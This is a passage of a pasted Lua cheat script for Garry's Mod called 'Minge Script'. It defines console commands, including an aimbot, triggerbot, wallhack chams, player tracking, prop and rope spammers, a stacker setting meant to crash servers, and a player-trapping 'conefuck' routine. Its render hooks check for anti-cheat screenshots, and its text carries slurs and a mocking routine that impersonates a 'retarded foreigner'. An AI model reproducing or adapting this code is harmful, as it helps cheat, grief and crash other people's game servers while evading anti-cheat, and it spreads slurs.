  2955. LocalPlayer():SetEyeAngles( MS.PrevAng )
  2956. end )
  2957.  
  2958. //promode/tardmode
  2959. local function Promode()
  2960. MS.NewProColour = math.random( 1, #MS.ProColours )
  2961. while MS.NewProColour == MS.LastProColour do
  2962. MS.NewProColour = math.random( 1, #MS.ProColours )
  2963. end
  2964.  
  2965. if( DarkRP ) then
  2966. if( LocalPlayer():Health() >0 ) then
  2967. RCC( "darkrp", "sleep" ); RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] ); RCC( "physgun_wheelspeed", "75" )
  2968. timer.Simple( 7, function() if LocalPlayer().Sleeping then RCC( "darkrp", "sleep" ); RCC( "play", "bot/come_to_papa.wav" ) end end )
  2969. else
  2970. RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] ); RCC( "physgun_wheelspeed", "75" ); RCC( "play", "bot/come_to_papa.wav" )
  2971. end
  2972. else
  2973. RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] ); RCC( "physgun_wheelspeed", "75" ); RCC( "kill" );
  2974. end
  2975. MS.LastProColour = MS.NewProColour
  2976. end
  2977. CCA( "promode", Promode )
  2978.  
  2979. local function Tardmode()
  2980. MS.NewTardColour = math.random( 1, #MS.TardColours )
  2981. while MS.NewTardColour == MS.LastTardColour do
  2982. MS.NewTardColour = math.random( 1, #MS.TardColours )
  2983. end
  2984.  
  2985. if( DarkRP ) then
  2986. if( LocalPlayer():Health() >0 ) then
  2987. RCC( "darkrp", "sleep" ); RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  2988. timer.Simple( 7, function() if LocalPlayer().Sleeping then RCC( "darkrp", "sleep" ) end end )
  2989. else
  2990. RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  2991. end
  2992. else
  2993. RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "kill" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  2994. end
  2995. MS.LastTardColour = MS.NewTardColour
  2996. end
  2997. CCA( "tardmode", Tardmode )
  2998.  
  2999. //cam.End3D crash immunity
  3000. function cam.End3D()
  3001. if( debug.getinfo( 2 ).short_src == "LuaCmd" ) then
  3002. return
  3003. else
  3004. return CamEnd3DShit()
  3005. end
  3006. end
  3007.  
  3008. //less disgusting rotate scripts than falco's
  3009. local function Rotate180()
  3010. LocalPlayer():SetEyeAngles( Angle( LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r ) )
  3011. end
  3012. CCA( "ms_rotate", Rotate180 )
  3013. local function Rotate180Up()
  3014. LocalPlayer():SetEyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r ) )
  3015. RCC( "+jump" )
  3016. timer.Simple( 0.1, function() RCC( "-jump" ) end )
  3017. end
  3018. CCA( "ms_rotate2", Rotate180Up )
  3019.  
  3020. //ms_help
  3021. local function MsInsertHelp( name, description )
  3022. table.insert( MS.MsHelpCommandTable, { name, description } )
  3023. end
  3024. MsInsertHelp( "+ms_aim", "aimbot" )
  3025. MsInsertHelp( "+ms_bhop", "bunny hop" )
  3026. MsInsertHelp( "+ms_menu", "menu, double tap to stay open" )
  3027. MsInsertHelp( "+ms_ropenado", "rope spammer, hold right mouse button for ropes" )
  3028. MsInsertHelp( "+ms_torchspam", "torch spammer" )
  3029. MsInsertHelp( "+ms_triggerbot", "triggerbot" )
  3030. MsInsertHelp( "ms_autostrafe", "automatically does A/D for you when you're bhopping/surfing" )
  3031. MsInsertHelp( "ms_bjorn", 'pretends to be a retarded foreigner, for when you get told "GET RP NAME OR BAN"' )
  3032. MsInsertHelp( "ms_conefuck", "traps the nearest player to your crosshair inside a cone" )
  3033. MsInsertHelp( "ms_debug 1/0", "receive debug messages" )
  3034. MsInsertHelp( "ms_deaglelogs", "opens deagle logs" )
  3035. MsInsertHelp( "ms_forceulxsuper", "forces ulx to give you superadmin" )
  3036. MsInsertHelp( "ms_friendadd", "( partial nick, * ) add to friends list" )
  3037. MsInsertHelp( "ms_friendremove", "( partial nick, * ) remove from friends list" )
  3038. MsInsertHelp( "ms_gag", "( partial nick, * ) voice mutes players" )
  3039. MsInsertHelp( "ms_glow", "big ass dynamic light" )
  3040. MsInsertHelp( "ms_innocentroleplayer", "identity changer, hold both mouse buttons to skip job change" )
  3041. MsInsertHelp( "ms_isolate", "( partial nick, admins, friends, * to disable ), isolates a player's visuals" )
  3042. MsInsertHelp( "ms_jobinfo", "print current server's darkrp job table" )
  3043. MsInsertHelp( "ms_losetrack", "( partial nick, admins, friends, * ) stops tracking player" )
  3044. MsInsertHelp( "ms_missilelauncher", "toggles auto spawning/throwing bombs with physgun" )
  3045. MsInsertHelp( "ms_mute", "( partial nick, * ) stops anything from muted players showing in chat" )
  3046. MsInsertHelp( "ms_noobler", "describes and links the noobler script" )
  3047. MsInsertHelp( "ms_nopriority", "( partial nick, * ) removes ms_track priority" )
  3048. MsInsertHelp( "ms_overridephysgun", "overrides clientside physgun colour" )
  3049. MsInsertHelp( "ms_playerchams", "toggle player chams" )
  3050. MsInsertHelp( "ms_priority", "( partial nick ) makes a player's ms_track beam stand out" )
  3051. MsInsertHelp( "ms_propchams", "toggle prop chams" )
  3052. MsInsertHelp( "ms_rotate", "180 rotate" )
  3053. MsInsertHelp( "ms_rotate2", "boost rotate" )
  3054. MsInsertHelp( "ms_stackah", "sets stacker and old precision tool to crash settings" )
  3055. MsInsertHelp( "ms_track", "( partial nick, admins, friends, * ) draws a line to tracked players" )
  3056. MsInsertHelp( "ms_unmute", "( partial nick, * ) removes ms_mute from players" )
  3057. MsInsertHelp( "ms_vomitcash", "spits $5 notes onto the ground every two seconds" )
  3058. MsInsertHelp( "ms_wepcolours", "prints everyone's physgun colour" )
  3059. MsInsertHelp( "ms_who", "prints everyone's name, rank and steamid" )
  3060. MsInsertHelp( "buttonglass( 1-5 )", "stealthy button killing models" )
  3061. MsInsertHelp( "buttonlag", "laggy as fuck button model" )
  3062. MsInsertHelp( "buttonstove", "stove button model" )
  3063. MsInsertHelp( "getinfo", "get aimentity model/class" )
  3064. MsInsertHelp( "promode", "gives you a no beam/glow physgun colour, sets wheelspeed to 75, sleeps in darkrp to change colour without respawning" )
  3065. MsInsertHelp( "tardmode", "gives you an inconspicuous physgun, sets wheelspeed to 7, sleeps in darkrp to change colour without respawning" )
  3066. MsInsertHelp( "wepclass", "get active weapon class" )
  3067.  
  3068. local function MsHelp()
  3069. for k,v in pairs( MS.MsHelpCommandTable ) do
  3070. if( string.len( v[ 1 ] ) >MS.BiggestString ) then
  3071. MS.BiggestString = string.len( v[ 1 ] )
  3072. end
  3073. end
  3074. MS.BiggestString = MS.BiggestString + 6
  3075. MSMsg( string.rep( " ", MS.BiggestString -11 ) .. "-MS HELP-" )
  3076. MSMsg( "-CONSOLE COMMAND-" .. string.rep( " ", MS.BiggestString -17 ) .. "-SCRIPT-\n" )
  3077. for k,v in pairs( MS.MsHelpCommandTable ) do
  3078. MSMsg( v[ 1 ] .. string.rep( " ", MS.BiggestString - string.len( v[ 1 ] ) ) .. v[ 2 ] )
  3079. end
  3080. end
  3081. CCA( "ms_help", MsHelp )
  3082.  
  3083. //glow
  3084. local function MSGlow()
  3085. if( MS.ScreenGrab ) then return end
  3086. light = DynamicLight( LocalPlayer():EntIndex() )
  3087. light.Pos = LocalPlayer():GetShootPos()
  3088. light.r = 5
  3089. light.g = 5
  3090. light.b = 5
  3091. light.Brightness = 7
  3092. light.Size = 50000
  3093. light.Decay = 0
  3094. light.DieTime = CurTime() + 0.1
  3095. end
  3096. local function ToggleGlow()
  3097. MS.Glowing = !MS.Glowing
  3098.  
  3099. if MS.Glowing then
  3100. HKA( "Think", "MSGlow", MSGlow )
  3101. RCC( "play", "buttons/combine_button7.wav" )
  3102. else
  3103. HKR( "Think", "MSGlow" )
  3104. RCC( "play", "buttons/combine_button1.wav" )
  3105. end
  3106. end
  3107. CCA( "ms_glow", ToggleGlow )
  3108.  
  3109. //zooom
  3110. local function BetterZoom( ply, pos, angles, fov )
  3111. if( MS.ScreenGrab ) then return end
  3112. MS.ZoomActive = true
  3113.  
  3114. if( input.IsKeyDown( KEY_LSHIFT ) ) then
  3115. MS.Zoom = MS.Zoom + 35
  3116. elseif( input.IsKeyDown( KEY_LCONTROL ) ) then
  3117. MS.Zoom = MS.Zoom - 35
  3118. end
  3119. MS.ZoomView.origin = pos + ( angles:Forward() *MS.Zoom )
  3120. MS.ZoomView.angles = angles
  3121. MS.ZoomView.fov = fov
  3122. return MS.ZoomView
  3123. end
  3124.  
  3125. local function zooom()
  3126. if( MS.ScreenGrab ) then return end
  3127. if( !MS.ZoomActive and !MS.ZoomEnable ) then
  3128. HKA( "CalcView", "Zoom", BetterZoom )
  3129. RCC( "play", "buttons/button18.wav" )
  3130. MS.ZoomEnable = true
  3131. elseif( MS.ZoomActive and MS.ZoomEnable ) then
  3132. MS.Zoom = 0
  3133. MS.ZoomEnable = false
  3134. MS.ZoomActive = false
  3135. RCC( "play", "buttons/button19.wav" )
  3136. HKR( "CalcView", "Zoom" )
  3137. end
  3138. end
  3139. CCA( "ms_zooom", zooom )
  3140.  
  3141. //vomitcash
  3142. local function VomitCash()
  3143. if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU FUCKING DICK HEAD." ) return end
  3144. MS.Vomiting = !MS.Vomiting
  3145. if( MS.Vomiting ) then
  3146. timer.Create( "VomitCash", 2, 0, function() RCC( "darkrp", "dropmoney", "5" ) end )
  3147. else
  3148. timer.Destroy( "VomitCash" )
  3149. end
  3150. end
  3151. CCA( "ms_VomitCash", VomitCash )
  3152.  
  3153. //SIQQEST KICKFLIPS
  3154. local function TonyHawk()
  3155. MS.KickFlipping = !MS.KickFlipping
  3156. EnabledDisabled( "TONY HAWK MODE", MS.KickFlipping )
  3157. if( MS.KickFlipping ) then
  3158. RCC( "gm_snapangles", 180 )
  3159. RCC( "physgun_rotation_sensitivity", 2 )
  3160. return
  3161. end
  3162. RCC( "gm_snapangles", 45 )
  3163. RCC( "physgun_rotation_sensitivity", 0.05 )
  3164. end
  3165. CCA( "ms_tonyhawk", TonyHawk )
  3166.  
  3167. //stackah
  3168. local function Stackah()
  3169. RCC( "precision_offset", "999999999999999999999999999999" );
  3170. RCC( "stacker_count", "5" );
  3171. RCC( "stacker_offsetx", "999999999999999999999999999999" );
  3172. RCC( "stacker_offsety", "999999999999999999999999999999" );
  3173. RCC( "stacker_offsetz", "999999999999999999999999999999" );
  3174. RCC( "stacker_rotp", "999999999999999999999999999999" );
  3175. RCC( "stacker_roty", "999999999999999999999999999999" );
  3176. RCC( "stacker_rotr", "999999999999999999999999999999" )
  3177. end
  3178. CCA( "ms_stackah", Stackah )
  3179.  
  3180. //[LAZINESS INTENSIFIES]
  3181. local function Noobler()
  3182. RCC( "say", "you show promise couch thrower" )
  3183. timer.Simple( 2.5, function() RCC( "say", "http://pastebin.com/zUbG27Ps" ) end )
  3184. timer.Simple( 5, function() RCC( "say", "well made propkill script, it's got wallhack, esp and rotate scripts for surfing" ) end )
  3185. timer.Simple( 7.5, function() RCC( "say", "there are instructions on how to get it working inside" ) end )
  3186. end
  3187. CCA( "ms_noobler", Noobler )
  3188.  
  3189. //BJORN 2 BOOGALOO - 50% SUCCESS RATE EDITION
  3190. local function ToggleBjornKeyboard()
  3191. if( !DarkRP ) then return end
  3192. net.Start( "DarkRP_ToggleChat" )
  3193. net.SendToServer()
  3194. end
  3195. local function BjornTyperIndicatorIsReal()
  3196. for k,v in pairs( ents.FindByClass( "chatindicator" ) ) do
  3197. if( v:GetPos():Distance( LocalPlayer():GetPos() + Vector( 0, 0, 85 ) ) < 40 ) then
  3198. return true
  3199. end
  3200. end
  3201. return false
  3202. end
  3203. local function EnsureBjornTyperMode()
  3204. if( MS.IsBjorn and BjornTyperIndicatorIsReal() != MS.IsBjornTyping and MS.NextBjornType < CurTime() ) then
  3205. ToggleBjornKeyboard()
  3206. MS.NextBjornType = CurTime() + 2
  3207. elseif( !MS.IsBjorn and BjornTyperIndicatorIsReal() and !MS.IsBjornTyping ) then
  3208. ToggleBjornKeyboard()
  3209. end
  3210. end
  3211. local function BecomeTheBjorn()
  3212. MS.IsBjorn = !MS.IsBjorn
  3213. if( MS.IsBjorn ) then
  3214. MSMsg( "UNLEASHING THE BJORN - RUN AGAIN TO CANCEL" )
  3215. timer.Create( "Swift Exit", 300.2, 1, function() RCC( "kill" ); RCC( "ms_innocentroleplayer" ) end )
  3216. HKA( "Think", "BjornTyperModeMustBeStrictLikeBjorn", EnsureBjornTyperMode )
  3217. for k,v in pairs( MS.BjornTalks ) do
  3218. timer.Create( "bjorn_typer" .. tostring( k ), v[ 1 ] - math.random( 5, 20 ), 1, function() MS.IsBjornTyping = true end )
  3219. timer.Create( "bjorn" .. tostring( k ), v[ 1 ], 1, function()
  3220. RCC( "say", v[ 2 ] )
  3221. MS.IsBjornTyping = false
  3222. end )
  3223. end
  3224. else
  3225. for i = 1, #MS.BjornTalks do
  3226. timer.Destroy( "bjorn" .. tostring( i ) )
  3227. timer.Destroy( "bjorn_typer" .. tostring( i ) )
  3228. end
  3229. timer.Destroy( "Swift Exit" )
  3230. HKR( "Think", "BjornTyperModeMustBeStrictLikeBjorn" )
  3231. MS.IsBjornTyping = false
  3232. EnsureBjornTyperMode()
  3233. end
  3234. end
  3235. CCA( "ms_bjorn", BecomeTheBjorn )
  3236.  
  3237. //AWESOME MISSILE LAUNCHER
  3238. local function AutoPropScroll( LickMyRim )
  3239. if LocalPlayer():KeyDown( IN_ATTACK ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" then
  3240. LickMyRim:SetMouseWheel( 100 )
  3241. if( MS.NextSpawn < CurTime() ) then
  3242. RCC( "gm_spawn", "models/props_phx/mk-82.mdl" )
  3243. MS.NextSpawn = CurTime() + 0.1
  3244. end
  3245.  
  3246. if( MS.NextSpawn < CurTime() + 0.02 and MS.NextSpawn > CurTime() ) then
  3247. LickMyRim:RemoveKey( IN_ATTACK )
  3248. end
  3249. end
  3250. end
  3251.  
  3252. local function MISSILELAUNCHER()
  3253. MS.Cannoning = !MS.Cannoning
  3254. EnabledDisabled( "MISSILE LAUNCHER", MS.Cannoning )
  3255. if( MS.Cannoning ) then
  3256. HKA( "CreateMove", "AutoPropScroll", AutoPropScroll )
  3257. return
  3258. end
  3259. HKR( "CreateMove", "AutoPropScroll" )
  3260. end
  3261. CCA( "ms_missilelauncher", MISSILELAUNCHER )
  3262.  
  3263. //conefuck
  3264. local function GetConeTarget()
  3265. local ply
  3266. MS.ConeTargetTable = player.GetAll()
  3267. MS.MaxFOV = 180
  3268.  
  3269. table.sort( MS.ConeTargetTable, function( a, b ) local aX, aY = GetFOV( a ) local bX, bY = GetFOV( b ) return aX + aY < bX + bY end )
  3270.  
  3271. for k,v in pairs( MS.ConeTargetTable ) do
  3272. if( !IsValid( v ) or v == LocalPlayer() or !IsVisible( v ) or v:Health() <=0 or v:InVehicle() or v:GetObserverTarget() or v:GetShootPos():Distance( LocalPlayer():GetShootPos() ) >2000 ) then continue end
  3273. local XFov, YFov = GetFOV( v )
  3274. if( ( YFov + XFov ) /2 < MS.MaxFOV ) then
  3275. MS.MaxFOV, _ = GetFOV( v )
  3276. ply = v
  3277. end
  3278. end
  3279. return ply
  3280. end
  3281. local function EndConeFucking()
  3282. MS.ConeTarget = nil
  3283. MS.FuckingPlayer = false
  3284. MS.ConeSpawned = false
  3285. end
  3286. local function FuckPlayerWithCone( cmd )
  3287. if( !MS.FuckingPlayer ) then return end
  3288. if( IsValid( MS.ConeTarget ) and MS.ConeTarget:Health() >0 and IsVisible( MS.ConeTarget ) ) then
  3289. cmd:SetViewAngles( ( ( MS.ConeTarget:GetPos() -Vector( 0, 0, 1 ) ) -LocalPlayer():GetShootPos() ):Angle() )
  3290. if( MS.ConeSpawned ) then
  3291. timer.Simple( 0.02, function() RCC( "+attack" ) end )
  3292. timer.Simple( 0.1, function() RCC( "+attack2" ) end )
  3293. timer.Simple( 0.2, function() RCC( "-attack" ); RCC( "-attack2" ) end )
  3294. EndConeFucking()
  3295. else
  3296. timer.Simple( 0.01, function() RCC( "gm_spawn", "models/hunter/misc/cone2x2.mdl" ) end )
  3297. MS.ConeSpawned = true
  3298. end
  3299. else
  3300. EndConeFucking()
  3301. end
  3302. end
  3303. HKA( "CreateMove", "FuckConeTargets", FuckPlayerWithCone )
  3304. local function StartConeFucking()
  3305. MS.FuckingPlayer = true
  3306. MS.ConeTarget = GetConeTarget()
  3307. MS.ConeSpawned = false
  3308. end
  3309. CCA( "ms_conefuck", StartConeFucking )
  3310.  
  3311. //thirdperson
  3312. local function ThirdPerson( ply, pos, angles, fov )
  3313. if( MS.ScreenGrab or !MS.Settings.Visuals.thirdperson or GetViewEntity() != LocalPlayer() or LocalPlayer():InVehicle() )then return end
  3314. MS.ThirdPersonView = {}
  3315. CozIBackTracedIt = util.TraceLine( { start = pos - ply:GetForward()*2, endpos = pos - angles:Forward() *MS.Settings.Visuals.ThirdPersonDist, filter = player.GetAll(), mask = MASK_SHOT } )
  3316. MS.ThirdPersonView.origin = CozIBackTracedIt.HitPos + ply:GetForward()*20
  3317. MS.ThirdPersonView.angles = angles
  3318. MS.ThirdPersonView.fov = fov
  3319. return MS.ThirdPersonView
  3320. end
  3321. HKA( "CalcView", "ASSCHEEKS", ThirdPerson )
  3322. local function ThisIsSoYouArentInvisible( ply )
  3323. if( MS.Settings.Visuals.thirdperson or ( MS.ZoomActive and MS.ZoomEnable ) ) then
  3324. return true
  3325. end
  3326. return false
  3327. end
  3328. HKA( "ShouldDrawLocalPlayer", "thisissoyouarentinvisible", ThisIsSoYouArentInvisible )
  3329.  
  3330. //EXTREME SUPERADMIN MEGA HACK
  3331. local function lmfao()
  3332. if( ulx ) then
  3333. MSMsg( "...ATTEMPTING TO BRUTEFORCE ULX" ) timer.Simple( 2, function() MSMsg( "...CALCULATING BRUTEFORCE ALGORITHM" ) end ) timer.Simple( 4, function() MSMsg( "...BYPASSING SECURITY PROTOCOLS" ) end ) timer.Simple( 6, function() MSMsg( "...HACKING INTO THE MAINFRAME" ) end ) timer.Simple( 8, function() MSMsg( "...SUCCESS!" ) end ) timer.Simple( 8.5, function() chat.AddText( Color( 0, 0, 0, 255 ), "( Console ) ", Color( 160, 200, 200, 255 ), "added ", Color( 80, 0, 120, 255 ), "You ", Color( 160, 200, 200, 255 ), "to group ", Color( 0, 255, 0, 255 ), "superadmin" ) end )
  3334. else
  3335. MSMsg( "SERVER DOESN'T HAVE ULX INSTALLED DICK HEAD" )
  3336. end
  3337. end
  3338. CCA( "ms_forceulxsuper", lmfao )
  3339.  
  3340. //autostrafe
  3341. local function AutoStrafe()
  3342. MS.Settings.AutoStrafe = !MS.Settings.AutoStrafe
  3343. EnabledDisabled( "AUTOSTRAFE", MS.Settings.AutoStrafe )
  3344. end
  3345. CCA( "ms_autostrafe", AutoStrafe )
  3346.  
  3347. local function OverridePhysgun()
  3348. MS.Settings.Visuals.overridephysgun = !MS.Settings.Visuals.overridephysgun
  3349. EnabledDisabled( "PHYSGUN OVERRIDE", MS.Settings.Visuals.overridephysgun )
  3350. end
  3351. CCA( "ms_overridephysgun", OverridePhysgun )
  3352.  
  3353. MSMsg( "MINGE SCRIPT LOADED - GET LEAKED FAGGOT - TYPE MS_HELP" )
Add Comment
Please, Sign In to add comment